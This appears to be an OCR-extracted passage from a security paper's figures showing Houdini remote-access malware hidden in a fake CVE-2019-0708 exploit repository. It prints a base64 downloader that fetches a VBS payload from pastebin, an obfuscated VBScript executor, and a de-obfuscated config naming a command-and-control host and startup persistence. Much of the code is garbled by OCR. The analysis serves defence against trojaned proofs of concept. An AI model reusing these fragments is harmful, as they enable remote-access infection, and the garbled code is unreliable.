/pocs/Clustered/2819/Python/Elkhazrajy_CVE-2819-8788-exploit-RCE$ echo "IAppbXBvcnQgd¥JsbGlibAppbX
BvenQge3VicHIvY2VzewoKdXJsbGlilnVybHI1dHIpZXZ 1KCdodHRwezovL3Bhe3R1YmlulmlvbS9yYXevVGNkAmY 3UBwnLCdiY1i52YnMnKQpzdw IwemS j
ZXNzLmNhbGwoImNzY3IpcHAQgYmIudmlzIikg" | base6éd —d

import urllibl
import subprocess

urllib.urlretrieve( 'https://pastebin.com/raw/TedBf75L', 'bb.vbs'})

Figure 4: Houdini malware found in CVE-2019-0708-exploit-RCE repository.

516 vbCrLf & " N\ e 11 '\N\\\ e 11 N\ ta 11 N\ A 11 N\ a 11 NN L 11 NN
517 vbCrLf & "!\\\\!e 1$1 '\\\\'!n 181 \N\\\td 1$1 NN 181 NN E 181 "&
518 vbCrLf & "" & _
519 vbCrLf & "!'\\\\!c 151 N\ !m 151 N\ A 151 N\\\\!s 151 \\\\'h 151 \\\\le 151 AL 1§
520 vbCrLf & "!\\\\!e 1$1 '\\\\ !n 1$1 N\ Hd 1$1 NN E 1$1 N\ Tu 1$1 '\\\\'!n 1$1 '\\\\ e
521 on error resume next
yyOuXrXAAeU = replace (yyOuXrXAAeU," 1$1 """
yyOuXrXAReU = replace (yyOuXrxXAReU,"!\\\\!", "")
527 execute yyOuXrXAAeU I

Figure 5: An obfuscated payload in a PoC CVE-2019-0708.

57 Dim yyOuXrXAAeU

58 yyOuXrXAAeU = "'<[recoder: houdini(c) skype: houdini-fx]>" & _ E
vbCrLf & "" &
vbCrLf & "' onfig "&
vbCrLf & "" &
vbCrLf & "host=""hostnames.ddns.net""" & _
vbCrLf & "port=1234" &
vbCrLf & "installdir: % _
vbCrLf & "lnkfile=true" & _
vbCrLf & "lnkfolder=true" & _
vbCrLf & "" &
vbCrLf & "'=-=-=-=-= publicvars-=-=-=-=-=-=-=-=-=-=-=-= "&
vbCrLf & "" &
vbCrLf & "dimshellobj" & _
vbCrLf & "setshellobj=wscript.createobject (""wscript.shell"" &
vbCrLf & "dimfilesystemobj" & _
vbCrLf & "setfilesystemobj=createobject (""scripting.filesystemobject"")" & _
vbCrLf & "dimhttpobj" & _
vbCrLf & "sethttpobj=createobject (""msxml2.xmlhttp"")" & _
vbCrLf & "" & _
vbCrLf & & _
vbCrLf & "' privatvar "&
vbCrLf & "" &
vbCrLf & "installname=wscript.scriptname" & _
vbCrLf & "startup=shellobj.specialfolders(""startup"") & ""\""" & _
vbCrLf & "installdir=shellobj.expandenvironmentstrings(installdir) & ""\""" & _
vbCrLf & "ifnotfilesystemobj.folderexists(installdir) then installdir=shellobj.expandenvironmentstrings (""%temp%"") & ""\""" & _
VbCTLE & "spliter=""<"hg mw|wwg weswww g
25 hCrTf £ "ol n=5000" g

Figure 6: Houdini malware after de-obfuscation.
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